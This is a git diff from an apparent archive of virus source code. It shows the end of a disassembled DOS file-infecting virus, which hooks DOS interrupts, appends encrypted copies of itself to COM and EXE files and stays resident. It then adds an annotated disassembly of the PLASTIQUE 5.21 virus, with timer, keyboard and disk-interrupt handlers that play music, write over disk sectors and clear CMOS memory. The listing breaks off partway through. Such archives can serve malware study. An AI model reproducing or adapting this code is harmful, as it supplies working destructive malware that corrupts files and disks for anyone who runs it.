al=mode,name@ds:dx + mov byte ptr cs:data_50e,0 ; (6C23:0068=0) +loc_41: + jc loc_43 ; Jump if carry Set + mov cs:data_33e,ax ; (6C23:0028=0) + mov bx,ax + mov ax,4202h + mov cx,0FFFFh + mov dx,0FFFBh + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + jc loc_43 ; Jump if carry Set + add ax,5 + mov cs:data_38e,ax ; (6C23:0032=0) + mov ax,4200h + mov cx,0 + mov dx,12h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + jc loc_43 ; Jump if carry Set + mov cx,2 + mov dx,60h + mov di,dx + mov ax,cs + mov ds,ax + mov es,ax + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + mov ax,[di] + cmp ax,1989h + jne loc_42 ; Jump if not equal + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + jmp loc_59 ; (0997) +loc_42: + mov ax,3524h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ds:data_42e,bx ; (6C23:003C=0) + mov ds:data_43e,es ; (6C23:003E=0) + mov dx,2ABh + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + lds dx,dword ptr ds:data_31e ; (6C23:0024=0) Load 32 bit ptr + xor cx,cx ; Zero register + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx +loc_43: + jc loc_44 ; Jump if carry Set + mov bx,cs:data_33e ; (6C23:0028=0) + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + mov word ptr cs:data_33e,0FFFFh ; (6C23:0028=0) + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jc loc_44 ; Jump if carry Set + mov cs:data_33e,ax ; (6C23:0028=0) + mov ax,cs + mov ds,ax + mov es,ax + mov bx,ds:data_33e ; (6C23:0028=0) + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + mov ds:data_35e,dx ; (6C23:002C=0) + mov ds:data_36e,cx ; (6C23:002E=0) + mov ax,4200h + xor cx,cx ; Zero register + mov dx,cx + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset +loc_44: + jc loc_47 ; Jump if carry Set + cmp byte ptr ds:data_46e,0 ; (6C23:0045=0) + je loc_45 ; Jump if equal + jmp short loc_49 ; (0867) + db 90h +loc_45: + mov bx,1000h + mov ah,48h ; 'H' + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + jnc loc_46 ; Jump if carry=0 + mov ah,3Eh ; '>' + mov bx,ds:data_33e ; (6C23:0028=0) + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + jmp loc_59 ; (0997) +loc_46: + inc word ptr ds:data_47e ; (6C23:0062=0) + mov es,ax + xor si,si ; Zero register + mov di,si + inc word ptr ds:data_23e ; (6C23:0003=0) + mov ax,ds:data_23e ; (6C23:0003=0) + or al,1 + mov ds:data_24e,al ; (6C23:0005=0) + call sub_4 ; (09A5) + mov cx,0BC4h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + call sub_4 ; (09A5) + mov dx,di + mov cx,ds:data_38e ; (6C23:0032=0) + mov bx,ds:data_33e ; (6C23:0028=0) + push es + pop ds + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx +loc_47: + jc loc_48 ; Jump if carry Set + add di,cx + jc loc_48 ; Jump if carry Set + xor cx,cx ; Zero register + mov dx,cx + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov cx,di + xor dx,dx ; Zero register + mov ah,ds:data_19e ; (3E00:006A=0FFh) + mov ds:data_22e,ah ; (3E00:02A6=0FFh) + mov byte ptr ds:data_19e,0 ; (3E00:006A=0FFh) + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ah,ds:data_22e ; (3E00:02A6=0FFh) + mov ds:data_19e,ah ; (3E00:006A=0FFh) +loc_48: + jc loc_50 ; Jump if carry Set + jmp loc_57 ; (0952) +loc_49: + mov cx,1Ch + mov dx,46h + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx +loc_50: + jc loc_52 ; Jump if carry Set + cmp word ptr ds:data_16e,1989h ; (3E00:0058=0FFFFh) + je loc_52 ; Jump if equal + mov word ptr ds:data_16e,1989h ; (3E00:0058=0FFFFh) + mov ax,ds:data_14e ; (3E00:0054=0FFFFh) + mov ds:data_6e,ax ; (3E00:001A=0FFFFh) + mov ax,ds:data_15e ; (3E00:0056=0FFFFh) + mov ds:data_5e,ax ; (3E00:0018=0FFFFh) + mov ax,ds:data_17e ; (3E00:005A=0FFFFh) + mov ds:data_7e,ax ; (3E00:001C=0FFFFh) + mov ax,ds:data_18e ; (3E00:005C=0FFFFh) + mov ds:data_8e,ax ; (3E00:001E=0FFFFh) + mov ax,ds:data_12e ; (3E00:004A=0FFFFh) + cmp word ptr ds:data_11e,0 ; (3E00:0048=0FFFFh) + je loc_51 ; Jump if equal + dec ax +loc_51: + mul word ptr ds:data_21e ; (3E00:0088=0FFFFh) ax = data * ax + add ax,ds:data_11e ; (3E00:0048=0FFFFh) + adc dx,0 + add ax,0Fh + adc dx,0 + and ax,0FFF0h + mov ds:data_9e,ax ; (3E00:0020=0FFFFh) + mov ds:data_10e,dx ; (3E00:0022=0FFFFh) + add ax,0BC4h + adc dx,0 +loc_52: + jc loc_54 ; Jump if carry Set + div word ptr ds:data_21e ; (3E00:0088=0FFFFh) ax,dxrem=dx:ax/da + or dx,dx ; Zero ? + jz loc_53 ; Jump if zero + inc ax +loc_53: + mov ds:data_12e,ax ; (3E00:004A=0FFFFh) + mov ds:data_11e,dx ; (3E00:0048=0FFFFh) + mov ax,ds:data_9e ; (3E00:0020=0FFFFh) + mov dx,ds:data_10e ; (3E00:0022=0FFFFh) + div word ptr ds:data_20e ; (3E00:0086=0FFFFh) ax,dxrem=dx:ax/da + sub ax,ds:data_13e ; (3E00:004E=0FFFFh) + mov ds:data_18e,ax ; (3E00:005C=0FFFFh) + mov word ptr ds:data_17e,900h ; (3E00:005A=0FFFFh) + mov ds:data_14e,ax ; (3E00:0054=0FFFFh) + mov word ptr ds:data_15e,0BC4h ; (3E00:0056=0FFFFh) + xor cx,cx ; Zero register + mov dx,cx + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset +loc_54: + jc loc_55 ; Jump if carry Set + mov cx,1Ch + mov dx,46h + mov ah,ds:data_19e ; (3E00:006A=0FFh) + mov ds:data_22e,ah ; (3E00:02A6=0FFh) + mov byte ptr ds:data_19e,0 ; (3E00:006A=0FFh) + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ah,ds:data_22e ; (3E00:02A6=0FFh) + mov ds:data_19e,ah ; (3E00:006A=0FFh) +loc_55: + jc loc_56 ; Jump if carry Set + cmp ax,cx + jne loc_57 ; Jump if not equal + mov dx,ds:data_9e ; (3E00:0020=0FFFFh) + mov cx,ds:data_10e ; (3E00:0022=0FFFFh) + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset +loc_56: + jc loc_57 ; Jump if carry Set + inc word ptr ds:data_3e ; (3E00:0003=0FFFFh) + mov ax,ds:data_3e ; (3E00:0003=0FFFFh) + or al,1 + mov ds:data_4e,al ; (3E00:0005=0FFh) + call sub_4 ; (09A5) + xor dx,dx ; Zero register + mov cx,0BC4h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + call sub_4 ; (09A5) +loc_57: + cmp word ptr cs:data_47e,0 ; (6C23:0062=0) + je loc_58 ; Jump if equal + mov ah,49h ; 'I' + int 21h ; DOS Services ah=function 49h + ; release memory block, es=seg +loc_58: + cmp word ptr cs:data_33e,0FFFFh ; (6C23:0028=0) + je loc_59 ; Jump if equal + mov bx,cs:data_33e ; (6C23:0028=0) + mov dx,cs:data_35e ; (6C23:002C=0) + mov cx,cs:data_36e ; (6C23:002E=0) + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + lds dx,dword ptr cs:data_31e ; (6C23:0024=0) Load 32 bit ptr + mov cx,cs:data_34e ; (6C23:002A=0) + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + lds dx,dword ptr cs:data_42e ; (6C23:003C=0) Load 32 bit ptr + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx +loc_59: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf ; Pop flags + jmp dword ptr cs:data_41e ; (6C23:0038=0) + +;========================================================================== +; SUBROUTINE +;========================================================================== + +sub_4 proc near + push ds + push es + push di + push si + push cx + push ax + push cs + pop es + push cs + pop ds + mov si,6Bh + mov di,si + mov cx,0B6h + mov ah,ds:data_24e ; (6C23:0005=0) + +locloop_60: + lodsb ; String [si] to al + xor al,ah + stosb ; Store al to es:[di] + loop locloop_60 ; Loop if cx > 0 + + pop ax + pop cx + pop si + pop di + pop es + pop ds + retn +sub_4 endp + + +;========================================================================== +; SUBROUTINE +;========================================================================== + +sub_5 proc near + xor ax,ax ; Zero register + mov bx,ax + mov dx,ax + mov si,ax + mov di,ax + retn +sub_5 endp + +loc_61: + cld ; Clear direction + mov ax,4B40h + int 21h ; DOS Services ah=function 4Bh + ; run progm @ds:dx, parm @es:bx + cmp ax,5678h + jne loc_62 ; Jump if not equal + mov ax,4B41h + mov di,100h + mov si,0BC4h + add si,di + mov cx,cs:[di+32h] + nop ;*Fixup for MASM (M) + int 21h ; DOS Services ah=function 4Bh + ; run progm @ds:dx, parm @es:bx +loc_62: + mov ax,cs + add ax,10h + mov ss,ax + mov sp,0BB4h + push ax + mov ax,900h + push ax + retf ; Return far + db 0FCh, 6, 2Eh, 8Ch, 6, 40h + db 0, 2Eh, 8Ch, 6, 8Eh, 0 + db 2Eh, 8Ch, 6, 92h, 0, 2Eh + db 8Ch, 6, 96h, 0, 8Ch, 0C0h + db 5, 10h, 0, 2Eh, 1, 6 + db 1Eh, 0, 2Eh, 1, 6, 1Ah + db 0, 0B8h, 40h, 4Bh, 0CDh, 21h + db 3Dh, 78h, 56h, 75h, 13h, 7 + db 2Eh, 8Eh, 16h, 1Ah, 0, 2Eh + db 8Bh, 26h, 18h, 0, 0E8h, 8Bh + db 0FFh, 2Eh, 0FFh, 2Eh, 1Ch, 0 + db 0E8h, 60h, 0FFh, 0B4h, 0, 0CDh + db 1Ah, 8Bh, 0DAh +loc_63: + int 1Ah ; Real time clock ah=func 00h + ; get system timer count cx,dx + cmp bx,dx + je loc_63 ; Jump if equal + xor si,si ; Zero register + mov bx,dx +loc_64: + int 1Ah ; Real time clock ah=func 00h + ; get system timer count cx,dx + inc si + cmp bx,dx + je loc_64 ; Jump if equal + mov word ptr cs:data_48e,0A000h ; (6C23:0064=0) + mov bx,si + sub bx,50h + cmp bx,0A00h + jae loc_65 ; Jump if above or = + mov cl,4 + shl bx,cl ; Shift w/zeros fill + mov cs:data_48e,bx ; (6C23:0064=0) +loc_65: + xor ax,ax ; Zero register + mov es,ax + mov ax,es:data_1e ; (0000:03FC=0F000h) + mov cs:data_44e,ax ; (6C23:0042=0) + mov al,es:data_2e ; (0000:03FE=16h) + mov cs:data_45e,al ; (6C23:0044=0) + mov word ptr es:data_1e,0A5F3h ; (0000:03FC=0F000h) + mov byte ptr es:data_2e,0CBh ; (0000:03FE=16h) + pop ax + add ax,10h + mov es,ax + push cs + pop ds + mov cx,0BC4h + shr cx,1 ; Shift w/zeros fill + xor si,si ; Zero register + mov di,si + push es + mov ax,9B3h + push ax +;* jmp far ptr loc_1 ;*(0000:03FC) + db 0EAh, 0FCh, 3, 0, 0 + db 8Ch, 0C8h, 8Eh, 0D0h, 0BCh, 0B4h + db 0Bh, 33h, 0C0h, 8Eh, 0D8h, 2Eh + db 0A1h, 42h, 0, 0A3h, 0FCh, 3 + db 2Eh, 0A0h, 44h, 0, 0A2h, 0FEh + db 3, 8Bh, 0DCh, 0B1h, 4, 0D3h + db 0EBh, 83h, 0C3h, 20h, 0B4h, 4Ah + db 2Eh, 8Eh, 6, 40h, 0, 0CDh + db 21h, 0B8h, 21h, 35h, 0CDh, 21h + db 2Eh, 89h, 1Eh, 38h, 0, 2Eh + db 8Ch, 6, 3Ah, 0, 0Eh, 1Fh + db 0BAh, 11h, 5, 0B8h, 21h, 25h + db 0CDh, 21h, 8Eh, 6, 40h, 0 + db 26h, 8Eh, 6, 2Ch, 0, 33h + db 0FFh, 0B9h, 0FFh, 7Fh, 32h, 0C0h + +locloop_66: + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + cmp es:[di],al + loopnz locloop_66 ; Loop if zf=0, cx>0 + + mov dx,di + add dx,3 + mov ax,4B00h + push es + pop ds + push cs + pop es + mov bx,8Ah + push ds + push es + push ax + push bx + push cx + push dx + push cs + pop ds + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dx=mon/day + sub cx,7BCh + mov ax,cx + mov bx,dx + mov cx,168h + mul cx ; dx:ax = reg * ax + xchg ax,bx + add bl,al + adc bh,0 + mov al,ah + mov cl,1Eh + mul cl ; ax = reg * al + add ax,bx + sub ax,ds:data_37e ; (6C23:0030=0) + ja loc_67 ; Jump if above + jmp loc_70 ; (0BD0) +loc_67: + add ds:data_37e,ax ; (6C23:0030=0) + cmp ax,7 + ja loc_68 ; Jump if above + jmp short loc_70 ; (0BD0) + db 90h +loc_68: + mov ax,3508h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ds:data_39e,bx ; (6C23:0034=0) + mov word ptr ds:data_39e+2,es ; (6C23:0036=0) + push cs + pop ds + mov ah,2Ch ; ',' + int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dh=sec + mov cl,dh + and cl,1 + cmp cl,0 + mov dx,2AEh + mov byte ptr ds:data_51e,0 ; (6C23:0069=0) + jnz loc_69 ; Jump if not zero + mov dx,2D2h + mov byte ptr ds:data_51e,1 ; (6C23:0069=0) +loc_69: + mov word ptr ds:data_23e,1 ; (6C23:0003=0) + mov data_54,0 ; (6C23:0122=0) + mov data_53,1 ; (6C23:0121=2) + mov byte ptr ds:data_50e,0 ; (6C23:0068=0) + mov byte ptr ds:data_52e,0 ; (6C23:006A=0) + mov ax,2508h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,3509h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ds:data_25e,bx ; (6C23:0006=0) + mov word ptr ds:data_25e+2,es ; (6C23:0008=0) + mov dx,35Dh + mov ax,2509h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,3513h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ds:data_27e,bx ; (6C23:000A=0) + mov word ptr ds:data_27e+2,es ; (6C23:000C=0) + mov dx,4EFh + mov ax,2513h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx +loc_70: + pop dx + pop cx + pop bx + pop ax + pop es + pop ds + pushf ; Push flags + call dword ptr cs:data_41e ; (6C23:0038=0) + push ds + pop es + mov ah,49h ; 'I' + int 21h ; DOS Services ah=function 49h + ; release memory block, es=seg + mov ah,4Dh ; 'M' + int 21h ; DOS Services ah=function 4Dh + ; get return code info in ax + mov ah,31h ; '1' + mov dx,0BC4h + mov cl,4 + shr dx,cl ; Shift w/zeros fill + add dx,10h + int 21h ; DOS Services ah=function 31h + ; terminate & stay resident + db 154 dup (0) + db 6Ch, 15h, 2, 2Ah, 8Ah, 0 + db 0BCh, 7, 1, 1, 0C4h, 0Bh + db 6Ch, 15h, 73h, 12h, 0F4h, 2 + db 4, 7Fh, 0CCh, 0, 0C4h, 0Bh + db 1Dh, 0, 0, 0, 6Fh, 12h + db 0AFh, 0Eh, 0F4h, 0Ah, 73h, 12h + db 6, 0F2h, 82h, 0F0h, 0EBh, 6Fh + db 66h, 2, 0EBh, 6Fh, 57h, 9 + db 0, 70h, 5Ah, 0, 0, 0C0h + db 7Ch, 90h + db 20 dup (90h) + db 0CDh, 21h + +seg_a ends + + + + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.plastiqe.asm b/MSDOS/Virus.MSDOS.Unknown.plastiqe.asm new file mode 100644 index 00000000..710d7019 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.plastiqe.asm @@ -0,0 +1,1126 @@ +;--------------------------------------------------------------------------- +; PLASTIQE v:5.21 Virus code +; +; Disassembled by SI-IS, 1990.10.21. +;--------------------------------------------------------------------------- + + Org 100 + + +0100 E9800B JMP 0C83 +0103 DW ? ;Wait counter ?? + +0106 DW 0,0 ;Orig INT 09 handler addres +010A DW 0,0 ;Orig INT 13 handler addres + +011C DW 0 ;File handle +011E DW 0 ;File attribute +012C DB 1Ch DUP(0) ;Buffer for Exe Header + + +014C DW ;Ofs of file name to execute +014E DB ? + +014F DB ? + +0158 DW 0,0 ;New size of EXE file + + +015D DB ? +015E DB 'ACAD.EXE' +0166 DB 'COMMAND.COM' +0171 DB '.COM' +0175 DB '.EXE' + +018B DB 'PLASTIQUE 5.21 (plastic bomb)',0D,0A + 'Copyright (C) 1988-1990 by ABT Group ' + '(in association with Hammer LAB.)',0D,0A + 'WARNING: DON'T RUN ACAD.EXE!$' + +020F DB 0 ;? +0210 DW 0 ;? + +0218 DB ? ? ? ;Music Data + +0321 DW 0,0 ;Orig INT 08 handler addres + +;--------------------------------------------------------------------------- +03E9 32C0 XOR AL,AL ;(* Critical error handler *) +03EB CF IRET +;--------------------------------------------------------------------------- +03EC 2E803E4F0001 CMP CS:[004F],01 ;(* INT 08 HANDLER - TIMER *) +03F2 7431 JZ 0425 +03F4 50 PUSH AX +03F5 2EA14A00 MOV AX,CS:[004A] +03F9 2E39060300 CMP CS:[0003],AX +03FE 58 POP AX +03FF 7711 JA 0412 +0401 2EA05D00 MOV AL,CS:[005D] +0405 0455 ADD AL,55 +0407 2EA25D00 MOV CS:[005D],AL +040B 7205 JC 0412 +040D 2EFF060300 INC W/CS:[0003] +0412 51 PUSH CX +0413 2E8B0E0300 MOV CX,CS:[0003] +0418 90 NOP +0419 E2FD LOOP 0418 +041B 59 POP CX +041C 2EFF2E2103 JMP Far CS:[0321] ;Jump to orig INT 08 handler +0421 A5 MOVSW +0422 FE00 INC B/[BX+SI] +0424 F0 LOCK + +0425 2EFF060300 INC W/CS:[0003] ;(* MUSIC *) +042A 2E813E03000080 CMP CS:[0003],8000 +0431 7702 JA 0435 +0433 EBE7 JMP 041C ;Jump to orig INT 08 handler + +0435 1E PUSH DS +0436 50 PUSH AX +0437 53 PUSH BX +0438 0E PUSH CS +0439 1F POP DS +043A 8B1E1001 MOV BX,[0110] +043E FE0E0F01 DEC B/[010F] +0442 7567 JNZ 04AB +0444 E461 IN AL,[61] ;Speaker OFF +0446 24FE AND AL,FE +0448 E661 OUT [61],AL +044A 8B1E1001 MOV BX,[0110] +044E FF061001 INC W/[0110] +0452 81FB8300 CMP BX,0083 +0456 7503 JNZ 045B +0458 EB36 JMP 0490 +045A 90 NOP +045B 8A871802 MOV AL,[BX+0218] +045F A20F01 MOV [010F],AL +0462 D1E3 SHL BX,1 +0464 8B871201 MOV AX,[BX+0112] +0468 3D0000 CMP AX,0000 +046B 7403 JZ 0470 +046D EB0A JMP 0479 +046F 90 NOP +0470 E461 IN AL,[61] +0472 24FE AND AL,FE +0474 E661 OUT [61],AL +0476 EB33 JMP 04AB +0478 90 NOP +0479 8BD8 MOV BX,AX +047B B0B6 MOV AL,B6 +047D E643 OUT [43],AL ;Set Timer Chip +047F 8BC3 MOV AX,BX +0481 E642 OUT [42],AL +0483 8AC4 MOV AL,AH +0485 E642 OUT [42],AL +0487 E461 IN AL,[61] ;Speaker ON +0489 0C03 OR AL,03 +048B E661 OUT [61],AL +048D EB1C JMP 04AB +048F 90 NOP +0490 E461 IN AL,[61] +0492 24FE AND AL,FE +0494 E661 OUT [61],AL +0496 C70610010000 MOV [0110],0000 +049C C6060F0101 MOV [010F],01 +04A1 B80080 MOV AX,8000 +04A4 22260500 AND AH,[0005] +04A8 A30300 MOV [0003],AX +04AB 5B POP BX +04AC 58 POP AX +04AD 1F POP DS +04AE E96BFF JMP 041C +;--------------------------------------------------------------------------- +04B1 FA CLI ;(* INT 09 HANDLER - KEYBOARD *) +04B2 50 PUSH AX +04B3 1E PUSH DS +04B4 33C0 XOR AX,AX +04B6 8ED8 MOV DS,AX +04B8 A01704 MOV AL,[0417] +04BB 1F POP DS +04BC 240C AND AL,0C +04BE 3C0C CMP AL,0C +04C0 752E JNZ 04F0 +04C2 E460 IN AL,[60] +04C4 247F AND AL,7F +04C6 3C53 CMP AL,53 +04C8 7526 JNZ 04F0 +04CA 2E813E03000080 CMP CS:[0003],8000 +04D1 721D JC 04F0 +04D3 2E803E4F0001 CMP CS:[004F],01 +04D9 7403 JZ 04DE +04DB EB13 JMP 04F0 +04DD 90 NOP +04DE E461 IN AL,[61] +04E0 0C80 OR AL,80 +04E2 E661 OUT [61],AL +04E4 247F AND AL,7F +04E6 E661 OUT [61],AL +04E8 58 POP AX +04E9 B020 MOV AL,20 +04EB E620 OUT [20],AL +04ED EB0A JMP 04F9 +04EF 90 NOP +04F0 58 POP AX +04F1 9C PUSHF +04F2 2EFF1E0600 CALL Far CS:[0006] +04F7 FB STI +04F8 CF IRET + +;--------------------------------------------------------------------------- +04F9 0E PUSH CS +04FA 58 POP AX +04FB 8ED8 MOV DS,AX +04FD 8EC0 MOV ES,AX +04FF B002 MOV AL,02 +0501 E621 OUT [21],AL +0503 FB STI +0504 E461 IN AL,[61] +0506 24FE AND AL,FE +0508 E661 OUT [61],AL +050A C70610010000 MOV [0110],0000 +0510 C6060F0101 MOV [010F],01 +0515 C70603004C7F MOV [0003],7F4C +051B B80400 MOV AX,0004 ;Set video mode to Groph 320x200 +051E CD10 INT 10 ; +0520 B8070E MOV AX,0E07 ;Write teletype - Bell +0523 CD10 INT 10 +0525 BEA202 MOV SI,02A2 +0528 E87300 CALL 059E +052B E87000 CALL 059E +052E E83A00 CALL 056B +0531 E83700 CALL 056B +0534 C606BA0201 MOV [02BA],01 +0539 BEA202 MOV SI,02A2 +053C E87E00 CALL 05BD +053F E87B00 CALL 05BD +0542 E87800 CALL 05BD +0545 E87500 CALL 05BD +0548 803EBA0201 CMP [02BA],01 +054D 7402 JZ 0551 +054F EBE3 JMP 0534 +0551 E460 IN AL,[60] +0553 8AE0 MOV AH,AL +0555 E470 IN AL,[70] +0557 3AC4 CMP AL,AH +0559 740D JZ 0568 +055B B94000 MOV CX,0040 +055E 8AC1 MOV AL,CL +0560 E670 OUT [70],AL +0562 B0FF MOV AL,FF +0564 E671 OUT [71],AL +0566 E2F6 LOOP 055E +0568 F4 HLT +0569 EBFD JMP 0568 + +056B C60400 MOV [SI],00 +056E B80102 MOV AX,0201 +0571 B90100 MOV CX,0001 +0574 B600 MOV DH,00 +0576 8A5404 MOV DL,[SI+04] +0579 BB0010 MOV BX,1000 +057C E87B00 CALL 05FA +057F 7219 JC 059A +0581 C60401 MOV [SI],01 +0584 BF1800 MOV DI,0018 +0587 8B8D0010 MOV CX,[DI+1000] +058B 884C01 MOV [SI+01],CL +058E BF1A00 MOV DI,001A +0591 8B8D0010 MOV CX,[DI+1000] +0595 FEC9 DEC CL +0597 884C05 MOV [SI+05],CL +059A 83C606 ADD SI,0006 +059D C3 RET + +059E C60400 MOV [SI],00 +05A1 B408 MOV AH,08 +05A3 8A5404 MOV DL,[SI+04] +05A6 E87600 CALL 061F +05A9 720E JC 05B9 +05AB 887405 MOV [SI+05],DH +05AE 80E13F AND CL,3F +05B1 FEC9 DEC CL +05B3 884C01 MOV [SI+01],CL +05B6 C60401 MOV [SI],01 +05B9 83C606 ADD SI,0006 +05BC C3 RET + +05BD BB8B00 MOV BX,008B +05C0 803C01 CMP [SI],01 +05C3 752E JNZ 05F3 +05C5 C606BA0200 MOV [02BA],00 +05CA 8B4C02 MOV CX,[SI+02] +05CD B600 MOV DH,00 +05CF 8A5404 MOV DL,[SI+04] +05D2 8A4401 MOV AL,[SI+01] +05D5 B403 MOV AH,03 +05D7 E82000 CALL 05FA +05DA 7214 JC 05F0 +05DC FEC6 INC DH +05DE 3A7405 CMP DH,[SI+05] +05E1 76EF JNA 05D2 +05E3 80440301 ADD [SI+03],01 +05E7 730A JNC 05F3 +05E9 80440240 ADD [SI+02],40 +05ED EB04 JMP 05F3 +05EF 90 NOP +05F0 C60400 MOV [SI],00 +05F3 83C606 ADD SI,0006 +05F6 C3 RET + +05F7 DB 00,09 +05F9 DB 03 + +05FA C606F70400 MOV [04F7],00 +05FF A3F804 MOV [04F8],AX +0602 E81A00 CALL 061F +0605 80E4C3 AND AH,C3 +0608 7414 JZ 061E +060A B400 MOV AH,00 +060C E81000 CALL 061F +060F A1F804 MOV AX,[04F8] +0612 FE06F704 INC B/[04F7] +0616 803EF70401 CMP [04F7],01 +061B 76E5 JNA 0602 +061D F9 STC +061E C3 RET + +061F 9C PUSHF +0620 2EFF1E0A00 CALL Far CS:[000A] +0625 C3 RET + +;--------------------------------------------------------------------------- + ;(* INT 13 HANDLER - DISK IO *) +0626 80FC02 CMP AH,02 ;Read sector ? +0629 751B JNZ 0646 ; No +062B F6C280 TEST DL,80 ;Hard disk +062E 751A JNZ 064A ; No +0630 80FA02 CMP DL,02 ;Floppy +0633 7711 JA 0646 +0635 83F902 CMP CX,0002 +0638 750C JNZ 0646 +063A 80FE00 CMP DH,00 +063D 7507 JNZ 0646 +063F EB13 JMP 0654 +0641 90 NOP + +0642 DB 01,00 +0644 DB 80,01 +0646 E92001 JMP 0769 +0649 DB 00 + +064A 80FE01 CMP DH,01 +064D 75F7 JNZ 0646 +064F 80FD00 CMP CH,00 +0652 75F2 JNZ 0646 +0654 2E803E490502 CMP CS:[0549],02 +065A 7407 JZ 0663 +065C 2EFE064905 INC B/CS:[0549] +0661 EBE3 JMP 0646 +0663 2EC606490500 MOV CS:[0549],00 +0669 2E803E5C0001 CMP CS:[005C],01 +066F 74D5 JZ 0646 +0671 50 PUSH AX +0672 53 PUSH BX +0673 51 PUSH CX +0674 52 PUSH DX +0675 56 PUSH SI +0676 57 PUSH DI +0677 06 PUSH ES +0678 1E PUSH DS +0679 8CC8 MOV AX,CS +067B 8ED8 MOV DS,AX +067D 8EC0 MOV ES,AX +067F 8816DF02 MOV [02DF],DL +0683 B400 MOV AH,00 +0685 E897FF CALL 061F +0688 BB0010 MOV BX,1000 +068B B80102 MOV AX,0201 +068E B90100 MOV CX,0001 +0691 B600 MOV DH,00 +0693 E889FF CALL 061F +0696 7243 JC 06DB +0698 F6C280 TEST DL,80 +069B 7405 JZ 06A2 +069D E8CE00 CALL 076E +06A0 7239 JC 06DB +06A2 B8CB3C MOV AX,3CCB +06A5 39473E CMP [BX+3E],AX +06A8 7518 JNZ 06C2 +06AA 8B4740 MOV AX,[BX+40] +06AD 3DFEFF CMP AX,FFFE +06B0 7429 JZ 06DB +06B2 2B4742 SUB AX,[BX+42] +06B5 3D0400 CMP AX,0004 +06B8 7508 JNZ 06C2 +06BA E8E300 CALL 07A0 +06BD 7303 JNC 06C2 +06BF E99F00 JMP 0761 +06C2 F606DF0280 TEST [02DF],80 +06C7 7415 JZ 06DE +06C9 C606E10207 MOV [02E1],07 +06CE C606E20200 MOV [02E2],00 +06D3 C606E00200 MOV [02E0],00 +06D8 EB3F JMP 0719 +06DA 90 NOP +06DB E98300 JMP 0761 +06DE C606E10201 MOV [02E1],01 +06E3 C606E20228 MOV [02E2],28 +06E8 8A4715 MOV AL,[BX+15] +06EB 3CFC CMP AL,FC +06ED 7305 JNC 06F4 +06EF C606E20250 MOV [02E2],50 +06F4 A0E202 MOV AL,[02E2] +06F7 BBBB02 MOV BX,02BB +06FA B90900 MOV CX,0009 +06FD 8807 MOV [BX],AL +06FF 83C304 ADD BX,0004 +0702 E2F9 LOOP 06FD +0704 B80905 MOV AX,0509 +0707 BBBB02 MOV BX,02BB +070A C606E00200 MOV [02E0],00 +070F C606E10201 MOV [02E1],01 +0714 E8AD00 CALL 07C4 +0717 7248 JC 0761 +0719 BB0000 MOV BX,0000 +071C A1E102 MOV AX,[02E1] +071F A3440E MOV [0E44],AX +0722 A1DF02 MOV AX,[02DF] +0725 A3460E MOV [0E46],AX +0728 B80903 MOV AX,0309 +072B E89600 CALL 07C4 +072E 7231 JC 0761 +0730 C606E10201 MOV [02E1],01 +0735 C606E20200 MOV [02E2],00 +073A F6C280 TEST DL,80 +073D 740C JZ 074B +073F A14205 MOV AX,[0542] +0742 A3E102 MOV [02E1],AX +0745 A14405 MOV AX,[0544] +0748 A3DF02 MOV [02DF],AX +074B BE0310 MOV SI,1003 +074E BF030E MOV DI,0E03 +0751 B92300 MOV CX,0023 +0754 90 NOP +0755 FC CLD +0756 F3A4 REP MOVSB +0758 BB000E MOV BX,0E00 +075B B80103 MOV AX,0301 +075E E86300 CALL 07C4 +0761 1F POP DS +0762 07 POP ES +0763 5F POP DI +0764 5E POP SI +0765 5A POP DX +0766 59 POP CX +0767 5B POP BX +0768 58 POP AX +0769 2EFF2E0A00 JMP Far CS:[000A] + +076E 